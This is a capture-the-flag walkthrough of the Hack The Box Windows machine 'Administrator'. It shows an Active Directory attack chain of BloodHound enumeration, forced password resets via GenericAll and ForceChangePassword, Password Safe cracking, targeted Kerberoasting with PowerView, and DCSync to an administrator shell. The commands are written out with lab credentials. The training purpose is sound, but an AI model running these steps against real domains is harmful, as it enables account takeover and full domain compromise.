# HTB | Administrator

This is a Windows box. You can find it [here](https://app.hackthebox.com/machines/Administrator).

**Skill Learned**

* bloodhound
* GenericALL
* ForchChangePassword
* passwordsafe
* GenericWrite
* DCSync

### NMAP <a href="#nmap" id="nmap"></a>

**IP:** 10.129.33.100 after release arena 10.10.11.42&#x20;

we were given cred Olivia / ichliebedich

```
nmap -sT -p- --min-rate 10000 10.129.33.100
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fh4xj20VgGV63wW26fW0k%2Fimage.png?alt=media&#x26;token=9e0118cc-2192-4a52-8daf-39aee5421869" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F8SFxKjKWDwKn2A0K9DjW%2Fimage.png?alt=media&#x26;token=5a6effa8-0eb1-4810-9d92-f9a619d81487" alt=""><figcaption><p>nmap</p></figcaption></figure>

### LDAP - TCP 389

```
ldapsearch -H ldap://10.129.33.100 -x -s base namingcontexts
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FjVSlOvNLF2OR25bjjy5j%2Fimage.png?alt=media&#x26;token=c0e2dec2-4ec0-4acb-bc5e-73d470ff2d0e" alt=""><figcaption></figcaption></figure>

From the above, we can confirm the DC name administrator.htb

Since we have the credentials for the user, Let's use bloodhound-python for further enumeration

```
bloodhound-python -u Olivia -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42 -c All
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FxZeQnRz3yU8nxVojnBGJ%2Fimage.png?alt=media&#x26;token=5b68485a-0fff-42af-9406-3f6408f545d8" alt=""><figcaption><p>bloodhound-python</p></figcaption></figure>

This will give us the JSON files which we can load into Bloodhound and analysis

On analysing the user Olivia of which we have credentials we found that Olivia has genericALL (refer to [this](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-on-user) or [this](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#genericall-rights-on-user) for exploit and explanation) or rights over michale That means we can change the password of Michale.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FiGFK2JLTD6jaxVyWqc5x%2Fimage.png?alt=media&#x26;token=739652cb-a05f-44f7-95c2-3e8ecaeed624" alt=""><figcaption></figcaption></figure>

## Foothold/shell

### GenericALL

We can use evil-winrm to get into the server

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsquF9R0P9p5u63Xi53SU%2Fimage.png?alt=media&#x26;token=fb1d375e-b486-4f72-b5ba-5c6632ddc963" alt=""><figcaption><p>evil-winrm as olivia</p></figcaption></figure>

Since we have GenericALL rights over Michale we can change its password

```
net user michael P@ssw0rd /domain
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FL2E6inM8ts26EATTVTEr%2Fimage.png?alt=media&#x26;token=0be40585-14ef-44cd-bf20-b2c2fd16a96b" alt=""><figcaption></figcaption></figure>

Now we can use evil-winrm to login as Michale

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F0nMTdXigdZNrdA1AFMXz%2Fimage.png?alt=media&#x26;token=b7aa752c-321b-4d44-834d-5293f02b19e5" alt=""><figcaption><p>evil-winrm as michael</p></figcaption></figure>

### ForceChangePassword

Since we have shell as Michael, we will look back in Bloodhound. After analysing we found out that Michael can change the password for Benjamin.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FrhFO8GWa4WIldrA8gsdZ%2Fimage.png?alt=media&#x26;token=a303e998-5acc-4f87-b962-e6162593511a" alt=""><figcaption></figcaption></figure>

To change the password of Benjamin recommended way (see Help in Bloodhound for ForceCHangePassword) is to use PowerView's Set-DomainUserPassword

Let's upload the PowerView.ps1 on the box

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FDOkjygwadN2G5YUHvOls%2Fimage.png?alt=media&#x26;token=621d2db0-ff42-48ab-ae37-af2a940cd58a" alt=""><figcaption><p>upload PowerView.ps1</p></figcaption></figure>

```
Import-Module .\PowerView.ps1
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FQ3zzRGxAwp4BdYDGxR8Q%2Fimage.png?alt=media&#x26;token=73b2670b-373e-45b9-8995-2ad7b86adabf" alt=""><figcaption></figcaption></figure>

Let's change the password of benjamin

```
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 
Set-DomainUserPassword -Identity 'benjamin' -AccountPassword $NewPassword
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FpvVeiKRxq3AfepbomoBi%2Fimage.png?alt=media&#x26;token=141fe484-44a7-4abd-b9ea-1d2b18d3427f" alt=""><figcaption><p>password change for benjamin</p></figcaption></figure>

We can enumerate SMB via Benjamin's credentials. But we only found READ-ONLY access.&#x20;

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F64WCWtRjUxIInGbDL0bF%2Fimage.png?alt=media&#x26;token=64677019-85ca-469b-a1b9-45a4186f1ddb" alt=""><figcaption><p>smbmap</p></figcaption></figure>

### Passwordsafe



Since Port 21 (FTP) was also open, we can FTP using Benjamin's credentials

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F52t7dcZbVsVCCFLphiC4%2Fimage.png?alt=media&#x26;token=d9b29dff-3465-4bed-aeb8-c69e8a8a38d6" alt=""><figcaption></figcaption></figure>

There is a backup file in the FTP share, Let's download it for further analysis

The backup file is passwordsafe file

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FehXrWzkpoVJzdODLEUj1%2Fimage.png?alt=media&#x26;token=03964c1c-9d04-494b-8a43-623324478f32" alt=""><figcaption><p>ftp</p></figcaption></figure>

Since the Backup.psafe3 is a password-protected file we have to find the password for the same. We will use John the ripper to find the password. We found the password for passwordsafe file

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FWQlmKBmjoWv3S16lnBph%2Fimage.png?alt=media&#x26;token=fb213a83-dbf0-4a60-9d94-40cde996e25e" alt=""><figcaption><p>john</p></figcaption></figure>

Now we can open passwordsafe with the password

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F1VfSSH4nhl7ExJE4vYqj%2Fimage.png?alt=media&#x26;token=5ea0232f-c042-456a-b3b1-6c94681a9a04" alt=""><figcaption><p>passwordsafe</p></figcaption></figure>

We found the password for Emily, let's copy it and use it to get the shell and we are in as Emily and found the **user.txt**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fr2NCExZFhRrX5WlMd7Uk%2Fimage.png?alt=media&#x26;token=60b709c0-7261-4ed4-8c16-fb780ec9c529" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

### GenericWrite

Now we have a new user, Emily, we will look back into Bloodhound to see what access Emily has over other users. Emily has GenericWrite over Ethan

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FU4LELMD4xedzygxsCp69%2Fimage.png?alt=media&#x26;token=603900f4-1a32-44e9-9a40-bc7fbb287936" alt=""><figcaption></figcaption></figure>

The Help in Bloddhound for GenericWrite Says

{% hint style="info" %}
A targeted kerberoast attack can be performed using PowerView's Set-DomainObject along with Get-DomainSPNTicket.
{% endhint %}

We can do this by:

```
$SecPassword = ConvertTo-SecureString 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -AsPlainText -Force 
$Cred = New-Object System.Management.Automation.PSCredential('administrator.htb\emily', $SecPassword) 
Set-DomainObject -Credential $Cred -Identity ethan -SET @{serviceprincipalname='nonexistent/anurag'} 
Get-DomainUser ethan 
Get-DomainSPNTicket -SPN "nonexistent/anurag" -Credential $Cred
```

and we have hashes

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FiX5HsIgjP3VCQVX4QTuo%2Fimage.png?alt=media&#x26;token=2a5d54d3-8f1b-4ff4-b17a-87d4e860ecfd" alt=""><figcaption><p>hashes</p></figcaption></figure>

We can crack the hash using hashcat

```
hashcat -m 13100 ethan.hash /home/anurag/stuff/rockyou.txt
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FTL37N0AnSEPRpLxAojBQ%2Fimage.png?alt=media&#x26;token=0931c708-7e45-4178-89ee-efaa52a38e0f" alt=""><figcaption><p>ethan password</p></figcaption></figure>

### DCSync

From the Bloodhound analysis, we know that Ethan has DCSync over Administrator. That means we can dump administrator hash via sectrtsdump.py

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fqsp9hQCfghdLRRZUs5GK%2Fimage.png?alt=media&#x26;token=9508dc14-6845-439a-8645-be84c1cca3dd" alt=""><figcaption></figcaption></figure>

Now we will use secretsdump.py to dump hashes

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FD498QkEg02W4RQPgIcQS%2Fimage.png?alt=media&#x26;token=c8bffbd7-2e9b-44bb-bb1a-ced737ac9c01" alt=""><figcaption><p>admin hash</p></figcaption></figure>

From the hash, we can get the shell via psexec. We found the **root.txt**

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsmCRw4aMxjBvqTerKvwZ%2Fimage.png?alt=media&#x26;token=cf925057-a11d-433f-825b-4a8c0c448fef" alt=""><figcaption><p>root.txt</p></figcaption></figure>
